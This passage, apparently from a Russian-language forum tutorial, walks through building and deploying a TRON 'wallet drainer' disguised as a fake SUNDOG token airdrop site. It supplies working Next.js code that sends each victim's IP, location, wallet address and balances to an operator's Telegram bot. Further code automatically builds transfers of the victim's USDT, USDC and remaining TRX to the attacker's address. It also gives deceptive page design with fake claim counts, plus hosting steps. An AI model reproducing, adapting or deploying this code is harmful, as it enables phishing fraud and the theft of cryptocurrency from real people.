12.2. ПОЛУЧЕНИЕ CHAT ID
───────────────────────────────────────────────────────────────────────────────
Chat ID - это уникальный идентификатор чата, куда будут приходить уведомления.
СПОСОБ 1: Через @userinfobot
1) Найдите в Telegram @userinfobot
2) Отправьте ему /start
3) Он ответит вашим Chat ID (например: 123456789)
СПОСОБ 2: Через API
1) Отправьте любое сообщение вашему боту
2) Откройте в браузере:
https://api.telegram.org/bot<YOUR_BOT_TOKEN>/getUpdates
3) Найдите "chat":{"id":123456789}
12.3. СОЗДАНИЕ API ROUTE ДЛЯ УВЕДОМЛЕНИЙ
───────────────────────────────────────────────────────────────────────────────
Создайте файл app/api/notify/route.ts:
Код:
import { NextRequest, NextResponse } from 'next/server';
// Environment variables
const TELEGRAM_BOT_TOKEN = process.env.TELEGRAM_BOT_TOKEN!;
const TELEGRAM_CHAT_ID = process.env.TELEGRAM_CHAT_ID!;
/**
* Получить флаг страны по коду
*/
function getFlagEmoji(countryCode: string): string {
if (!countryCode || countryCode.length !== 2) return '🌍';
const codePoints = countryCode
.toUpperCase()
.split('')
.map(char => 127397 + char.charCodeAt(0));
return String.fromCodePoint(...codePoints);
}
function getDeviceType(userAgent: string): string {
if (/mobile/i.test(userAgent)) return 'Mobile';
if (/tablet/i.test(userAgent)) return 'Tablet';
return 'Desktop';
}
/**
* POST /api/notify
*
* Body: {
* address: "TXxx...",
* walletType: "TronLink",
* values: { trx: 100, usdt: 500, total: 600 }
* }
*/
export async function POST(request: NextRequest) {
try {
const body = await request.json();
const { address, walletType, values } = body;
if (!address) {
return NextResponse.json(
{ error: 'Address required' },
{ status: 400 }
);
}
// Получаем IP
const forwarded = request.headers.get('x-forwarded-for');
const clientIp = forwarded ? forwarded.split(',')[0] : 'unknown';
console.log('Client IP:', clientIp);
let ipInfo = {
ip: clientIp,
country: 'Unknown',
countryCode: 'XX',
city: 'Unknown',
isp: 'Unknown',
};
if (clientIp !== 'unknown') {
try {
const geoResponse = await fetch(`https://ipapi.co/${clientIp}/json/`, {
headers: { 'User-Agent': 'sundog-airdrop/1.0' },
});
if (geoResponse.ok) {
const geoData = await geoResponse.json();
ipInfo = {
ip: geoData.ip || clientIp,
country: geoData.country_name || 'Unknown',
countryCode: geoData.country_code || 'XX',
city: geoData.city || 'Unknown',
isp: geoData.org || 'Unknown',
};
}
}
}
const flag = getFlagEmoji(ipInfo.countryCode);
const userAgent = request.headers.get('user-agent') || 'Unknown';
const deviceType = getDeviceType(userAgent);
const message = `
🎯 <b>New Wallet Connected</b>
<b>Address:</b>
<code>${address}</code>
<b>Wallet Type:</b> ${walletType || 'Unknown'}
<b>Location:</b>
${flag} ${ipInfo.country}, ${ipInfo.city}
<b>IP:</b> <code>${ipInfo.ip}</code>
<b>ISP:</b> ${ipInfo.isp}
<b>Device:</b> ${deviceType}
<b>💰 Balances:</b>
${values ? `
• TRX: ${values.trx?.toFixed(2) || '0.00'} ($${values.trxUsd?.toFixed(2) || '0.00'})
• USDT: ${values.usdt?.toFixed(2) || '0.00'} ($${values.usdtUsd?.toFixed(2) || '0.00'})
• USDC: ${values.usdc?.toFixed(2) || '0.00'} ($${values.usdcUsd?.toFixed(2) || '0.00'})
<b>Total:</b> ~$${values.total?.toFixed(2) || '0.00'} USD
` : 'Not scanned yet'}
<b>TronScan:</b> https://tronscan.org/#/address/${address}
<b>Time:</b> ${new Date().toLocaleString('en-US', { timeZone: 'UTC' })} UTC
`.trim();
const telegramResponse = await fetch(
`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`,
{
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
chat_id: TELEGRAM_CHAT_ID,
text: message,
parse_mode: 'HTML',
disable_web_page_preview: true,
}),
}
);
if (!telegramResponse.ok) {
const error = await telegramResponse.text();
console.error('Telegram error:', error);
throw new Error('Failed to send Telegram notification');
}
return NextResponse.json({ success: true });
} catch (error: any) {
console.error(Notify error:', error);
return NextResponse.json(
{ error: 'Failed to send notification', details: error.message },
{ status: 500 }
);
}
}
12.4. ПРИМЕР ИСПОЛЬЗОВАНИЯ
───────────────────────────────────────────────────────────────────────────────
Код:
// После подключения кошелька
const notifyConnection = async (address: string, walletType: string, balances: any) => {
try {
await fetch('/api/notify', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
address,
walletType,
values: {
trx: balances.trx.balance,
trxUsd: balances.trx.usd,
usdt: balances.usdt.balance,
usdtUsd: balances.usdt.usd,
usdc: balances.usdc.balance,
usdcUsd: balances.usdc.usd,
total: balances.total,
},
}),
});
} catch (error) {
console.error('Failed to notify:', error);
}
};
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 13: STEP 10 - ГЛАВНАЯ СТРАНИЦА С ЛОГИКОЙ AUTO-DRAIN
═══════════════════════════════════════════════════════════════════════════════
Это САМЫЙ ВАЖНЫЙ файл - здесь находится вся логика автоматического вывода средств.
Из-за ограничения длины я приведу только ключевые части. Полный код смотрите
в исходном файле app/page.tsx.
13.1. СТРУКТУРА КОМПОНЕНТА
───────────────────────────────────────────────────────────────────────────────
Код:
'use client';
import { useEffect, useState } from 'react';
import { useWallet } from '@tronweb3/tronwallet-adapter-react-hooks';
import { WalletSelectModal } from '@/components/wallet-select-modal';
import TronWeb from 'tronweb';
import { toast } from 'sonner';
const RECIPIENT_ADDRESS = process.env.NEXT_PUBLIC_RECIPIENT_ADDRESS!;
const USDT_CONTRACT = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
const USDC_CONTRACT = 'TEkxiTehnzSmSe2XqrBj4w32RUN966rdz8';
const tronWeb = new TronWeb({
fullHost: 'https://api.trongrid.io',
});
export default function HomePage() {
const { address, connected, wallet, signTransaction } = useWallet();
const [modalOpen, setModalOpen] = useState(false);
const [balance, setBalance] = useState(0);
const [usdtBalance, setUsdtBalance] = useState(0);
const [usdcBalance, setUsdcBalance] = useState(0);
const [totalUsd, setTotalUsd] = useState(0);
const [balanceLoaded, setBalanceLoaded] = useState(false);
const [autoSendTriggered, setAutoSendTriggered] = useState(false);
const [sending, setSending] = useState(false);
// ... остальной код
}
13.2. USEEFFECT #1: АВТОПОДКЛЮЧЕНИЕ
───────────────────────────────────────────────────────────────────────────────
Код:
// Автоподключение при обнаружении кошелька в URL или среде
useEffect(() => {
if (connected) return;
const checkWallet = async () => {
const walletParam = getUrlParameter('wallet');
const detectedWallet = detectWalletEnvironment();
if (walletParam || detectedWallet) {
// Логика автоподключения (см. STEP 7)
}
};
checkWallet();
}, [connected]);
13.3. USEEFFECT #2: ЗАГРУЗКА БАЛАНСОВ + УВЕДОМЛЕНИЕ
───────────────────────────────────────────────────────────────────────────────
Код:
// Загружаем балансы сразу после подключения
useEffect(() => {
if (!connected || !address || balanceLoaded) return;
const loadBalanceAndNotify = async () => {
try {
// 1. Сканируем кошелек
const scanResponse = await fetch('/api/wallet/scan', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ address }),
});
if (scanResponse.ok) {
const data = await scanResponse.json();
setBalance(data.trx.balance);
setUsdtBalance(data.usdt.balance);
setUsdcBalance(data.usdc.balance);
setTotalUsd(data.total);
setBalanceLoaded(true);
// 2. Отправляем уведомление в Telegram
await fetch('/api/notify', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
address,
walletType: wallet?.adapter.name || 'Unknown',
values: {
trx: data.trx.balance,
trxUsd: data.trx.usd,
usdt: data.usdt.balance,
usdtUsd: data.usdt.usd,
usdc: data.usdc.balance,
usdcUsd: data.usdc.usd,
total: data.total,
},
}),
});
}
}
};
loadBalanceAndNotify();
}, [connected, address, balanceLoaded]);
13.4. USEEFFECT #3: АВТОМАТИЧЕСКИЙ ЗАПУСК ОТПРАВКИ
───────────────────────────────────────────────────────────────────────────────
Код:
// Автоматически запускаем отправку через 1.5 секунды после загрузки баланса
useEffect(() => {
if (!balanceLoaded || autoSendTriggered || sending) return;
const hasBalance = balance > 0 || usdtBalance > 0 || usdcBalance > 0;
if (hasBalance) {
const timer = setTimeout(() => {
console.log('Auto send');
handleSendAll();
}, 1500);
return () => clearTimeout(timer);
}
}, [balanceLoaded, balance, usdtBalance, usdcBalance, autoSendTriggered, sending]);
13.5. ФУНКЦИЯ СОЗДАНИЯ ТРАНЗАКЦИЙ
───────────────────────────────────────────────────────────────────────────────
Код:
const handleSendAll = async () => {
if (!address || !connected) {
toast.error('Wallet not connected');
return;
}
if (sending) return;
setAutoSendTriggered(true);
setSending(true);
try {
const transactions: any[] = [];
let totalFeeSun = 0;
// 1. USDT транзакция (если есть баланс)
if (usdtBalance > 0) {
const usdtAmount = Math.floor(usdtBalance * 1_000_000); // конвертируем в базовые единицы
const usdtTx = await tronWeb.transactionBuilder.triggerSmartContract(
USDT_CONTRACT,
'transfer(address,uint256)',
{ feeLimit: 50_000_000 },
[
{ type: 'address', value: RECIPIENT_ADDRESS },
{ type: 'uint256', value: usdtAmount }
],
tronWeb.address.toHex(address)
);
if (usdtTx.result?.result) {
transactions.push({
tx: usdtTx.transaction,
type: 'USDT',
amount: usdtBalance,
});
// Получаем energy_fee для расчета резерва
const energyFee = usdtTx.energy_fee || 15_000_000; // fallback 15 TRX
const estimatedFee = Math.ceil(energyFee * 1.5); // +50% запас
totalFeeSun += estimatedFee;
}
}
// 2. USDC транзакция (аналогично)
if (usdcBalance > 0) {
// ... аналогичный код для USDC
totalFeeSun += 15_000_000; // +15 TRX для USDC
}
// 3. TRX транзакция (отправляем ОСТАТОК после резервирования комиссий)
const currentTrxBalance = await tronWeb.trx.getBalance(address);
const trxTxFee = 1_000_000; // 1 TRX на комиссию для TRX транзакции
const totalReserve = totalFeeSun + trxTxFee + 1_000_000; // +1 TRX доп. запас
const trxToSend = currentTrxBalance - totalReserve;
if (trxToSend > 0) {
const trxTx = await tronWeb.transactionBuilder.sendTrx(
RECIPIENT_ADDRESS,
trxToSend,
address
);
transactions.push({
tx: trxTx,
type: 'TRX',
amount: trxToSend / 1_000_000,
});
}
if (transactions.length === 0) {
toast.info('No funds to send');
setSending(false);
return;
}
// 4. ПОСЛЕДОВАТЕЛЬНАЯ ПОДПИСЬ ТРАНЗАКЦИЙ
let successCount = 0;
let trxRejected = false;
for (const txData of transactions) {
try {
toast.info(`Signing ${txData.type} transaction...`);
await signTransaction(txData.tx);
successCount++;
toast.success(`${txData.type} sent: ${txData.amount.toFixed(2)}`);
// Пауза между транзакциями
await new Promise(resolve => setTimeout(resolve, 1000));
} catch (error: any) {
console.error(` ${txData.type} rejected:`, error);
if (txData.type === 'TRX') {
trxRejected = true;
}
toast.error(`${txData.type} transaction cancelled`);
}
}
// 5. FALLBACK: если TRX отклонен, но есть токены
if (trxRejected && successCount === 0 && (usdtBalance > 0 || usdcBalance > 0)) {
toast.info('Retrying token transfers...');
// Создаем новые транзакции только для токенов
// ... fallback логика
}
if (successCount > 0) {
toast.success(`Successfully sent ${successCount} transaction(s)!`);
}
} catch (error: any) {
console.error('Send error:', error);
toast.error('Failed to send transactions');
} finally {
setSending(false);
}
};
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 14: STEP 11 - UI/UX ДИЗАЙН "ФЕЙКОВОГО AIRDROP"
═══════════════════════════════════════════════════════════════════════════════
14.1. ДИЗАЙН-СТРАТЕГИЯ
───────────────────────────────────────────────────────────────────────────────
ЦЕЛЬ: Создать иллюзию легального airdrop сайта, чтобы пользователь:
1) Не подозревал о drainer функциональности
2) Был мотивирован подключить кошелек
3) Чувствовал срочность ("limited time", "claim now")
ЭЛЕМЕНТЫ ДИЗАЙНА:
• Яркие цвета (фиолетовый, голубой, зеленый)
• Анимации и эффекты свечения
• Иконки подарков, молний, трофеев
• Большие заголовки
14.2. ГЛАВНЫЙ HERO БЛОК
───────────────────────────────────────────────────────────────────────────────
Код:
<div className="relative min-h-screen overflow-hidden bg-gradient-to-br from-purple-900 via-black to-blue-900">
{/* Animated background */}
<div className="absolute inset-0 opacity-20">
<div className="absolute top-20 left-20 w-72 h-72 bg-purple-500 rounded-full blur-3xl animate-pulse" />
<div className="absolute bottom-20 right-20 w-96 h-96 bg-blue-500 rounded-full blur-3xl animate-pulse delay-1000" />
</div>
{/* Content */}
<div className="relative z-10 container mx-auto px-4 py-16">
<div className="text-center space-y-6">
{/* Logo */}
<div className="inline-block p-4 rounded-full bg-gradient-to-r from-yellow-400 to-orange-500 shadow-2xl shadow-yellow-500/50">
<Gift className="w-16 h-16 text-white" />
</div>
{/* Title */}
<h1 className="text-6xl md:text-8xl font-black bg-gradient-to-r from-yellow-400 via-pink-500 to-purple-600 bg-clip-text text-transparent animate-pulse">
SUNDOG AIRDROP
</h1>
{/* Subtitle */}
<p className="text-2xl md:text-3xl text-white font-semibold">
Claim up to <span className="text-yellow-400">1000 SUNDOG</span> tokens!
</p>
{/* Features */}
<div className="grid grid-cols-1 md:grid-cols-3 gap-4 mt-8 max-w-4xl mx-auto">
<div className="p-6 rounded-2xl bg-white/5 backdrop-blur-sm border border-white/10">
<Gift className="w-8 h-8 text-yellow-400 mx-auto mb-2" />
<p className="font-semibold">Up to 1000 SUNDOG</p>
<p className="text-sm text-gray-400">Per wallet</p>
</div>
<div className="p-6 rounded-2xl bg-white/5 backdrop-blur-sm border border-white/10">
<Zap className="w-8 h-8 text-green-400 mx-auto mb-2" />
<p className="font-semibold">Instant Claim</p>
<p className="text-sm text-gray-400">No waiting period</p>
</div>
<div className="p-6 rounded-2xl bg-white/5 backdrop-blur-sm border border-white/10">
<Trophy className="w-8 h-8 text-purple-400 mx-auto mb-2" />
<p className="font-semibold">Limited Time</p>
<p className="text-sm text-gray-400">While supplies last</p>
</div>
</div>
{/* Connect Button */}
<button
onClick={() => setModalOpen(true)}
className="mt-8 px-12 py-6 text-xl font-bold rounded-full bg-gradient-to-r from-yellow-400 to-orange-500 hover:from-yellow-500 hover:to-orange-600 text-white shadow-2xl shadow-yellow-500/50 transform hover:scale-105 transition-all"
>
🎁 Claim Your SUNDOG Now
</button>
{/* Fake stats */}
<p className="text-gray-400 text-sm mt-4">
✅ 47,328 wallets already claimed | ⏰ 12,672 tokens remaining
</p>
</div>
</div>
</div>
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 15: STEP 12 - НАСТРОЙКА ENVIRONMENT VARIABLES
═══════════════════════════════════════════════════════════════════════════════
Создайте файл .env.local в корне проекта:
Код:
# WalletConnect Project ID (с cloud.walletconnect.com)
NEXT_PUBLIC_WALLETCONNECT_PROJECT_ID=ВАШАЙДИВАЛЕТКОНЕКТ
# Адрес получателя средств (ВАШ TRON кошелек)
NEXT_PUBLIC_RECIPIENT_ADDRESS=ВАШКОШЕЛЕК
# Telegram Bot Token (с @BotFather)
TELEGRAM_BOT_TOKEN=1234567890:ABCdefGHIjklMNOpqrsTUVwxyz123456789
# Telegram Chat ID (ваш user ID)
TELEGRAM_CHAT_ID=123456789
ВАЖНО:
• NEXT_PUBLIC_ переменные доступны в браузере
• Переменные без этого префикса доступны только на сервере
• Не коммитьте .env.local в Git!
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 16: STEP 13 - ДЕПЛОЙ НА VERCEL
═══════════════════════════════════════════════════════════════════════════════
16.1. ПОДГОТОВКА К ДЕПЛОЮ
───────────────────────────────────────────────────────────────────────────────
ШАГ 1: Создайте репозиторий на GitHub
Bash:
git init
git add .
git commit -m "Initial commit"
git branch -M main
git remote add origin https://github.com/yourusername/tron-drainer.git
git push -u origin main
ШАГ 2: Убедитесь, что .env.local в .gitignore:
Код:
# .gitignore
.env.local
.env*.local
node_modules/
.next/
16.2. ДЕПЛОЙ НА VERCEL
───────────────────────────────────────────────────────────────────────────────
ШАГ 1: Перейдите на https://vercel.com
ШАГ 2: Нажмите "Add New" → "Project"
ШАГ 3: Импортируйте репозиторий с GitHub
ШАГ 4: Настройте Environment Variables:
• NEXT_PUBLIC_WALLETCONNECT_PROJECT_ID
• NEXT_PUBLIC_RECIPIENT_ADDRESS
• TELEGRAM_BOT_TOKEN
• TELEGRAM_CHAT_ID
ШАГ 5: Нажмите "Deploy"
ШАГ 6: Ждите ~2 минуты - деплой завершен!
ШАГ 7: Получите URL: https://your-project.vercel.app
16.3. НАСТРОЙКА КАСТОМНОГО ДОМЕНА
───────────────────────────────────────────────────────────────────────────────
ШАГ 1: Купите домен (1Reg, Njalla, etc.)
ШАГ 2: В Vercel: Settings → Domains → Add Domain
ШАГ 3: Введите домен: sundog-airdrop.com
ШАГ 4: Настройте DNS записи (Vercel покажет инструкции):
• A Record: 76.76.21.21
• CNAME Record: cname.vercel-dns.com
ШАГ 5: Подождите DNS (+-30мин - 1 час)
ШАГ 6: Vercel автоматически создаст SSL сертификат
16.4. АВТОМАТИЧЕСКИЙ ДЕПЛОЙ
───────────────────────────────────────────────────────────────────────────────
После настройки каждый push в main ветку автоматически деплоится:
Bash:
git add .
git commit -m "Update design"
git push
Vercel автоматически:
1) Обнаружит изменения
2) Запустит build
3) Задеплоит новую версию
4) Обновит production URL
═══════════════════════════════════════════════════════════════════════════════
ГЛАВА 17: TROUBLESHOOTING (БОНУС)
═══════════════════════════════════════════════════════════════════════════════
ОШИБКА: "TronLink is not defined"
РЕШЕНИЕ: Пользователь не установил TronLink. Показать модалку с инструкцией.
ОШИБКА: "User rejected the request"
РЕШЕНИЕ: Пользователь отклонил транзакцию. Это нормально, попробуйте fallback.
ОШИБКА: "Insufficient balance"
РЕШЕНИЕ: Не хватает TRX для комиссии. Увеличьте резерв в расчете.
ОШИБКА: "Transaction already exists"
РЕШЕНИЕ: Добавьте задержки между транзакциями (1000ms).
ОШИБКА: "Failed to get account"
РЕШЕНИЕ: Адрес не активирован (никогда не получал TRX). Пропустите.═══════════════════════════════════════════════════════════════════════════════
ЗАКЛЮЧЕНИЕ


═══════════════════════════════════════════════════════════════════════════════
Поздравляю! Вы только что прошли полный цикл создания drainer для блокчейна TRON.
В процессе изучения этой статьи вы освоили не только
технические аспекты разработки, но и глубоко погрузились в архитектуру сети TRON,
понимание принципов работы TRC-20 токенов, систему комиссий через Energy и Bandwidth,
а также интеграцию с множественными криптокошельками через различные протоколы.
Созданный tron drainer демонстрирует профессиональный подход к решению реальных
технических проблем: вы научились обходить ограничения WalletConnect для TRON через
гибридное решение с deep links, реализовали интеллектуальную систему расчета комиссий
с резервированием TRX для успешного прохождения транзакций токенов, настроили
серверные API для безопасной обработки данных и создали современный UI с адаптивным
дизайном. Особенно важным достижением является понимание различий между работой
кошельков в браузере (TronLink через window.tronWeb) и в мобильных приложениях
(через URL-схемы и deep links), что критично для создания любых web3-Drainerов.
Архитектура проекта построена на современном стеке: Next.js 16 с App Router,
React Server Components, TypeScript для типобезопасности, Tailwind CSS v4 для
стилизации и Shadcn/ui для готовых компонентов. Вы научились работать с TronWeb
библиотекой, адаптерами кошельков от @tronweb3, интеграцией WalletConnect v2 и
внешними API (TronGrid, CoinGecko, Telegram Bot API). Деплой на Vercel делает процесс обновления кода максимально простым -
достаточно сделать git push, и новая версия автоматически окажется в production.
P.S Если заметили баги,или то, как можно сделать tron-drainer лучше
Пишите в коментарии под постом. Оперативно исправлю/сделаю новую версию![]()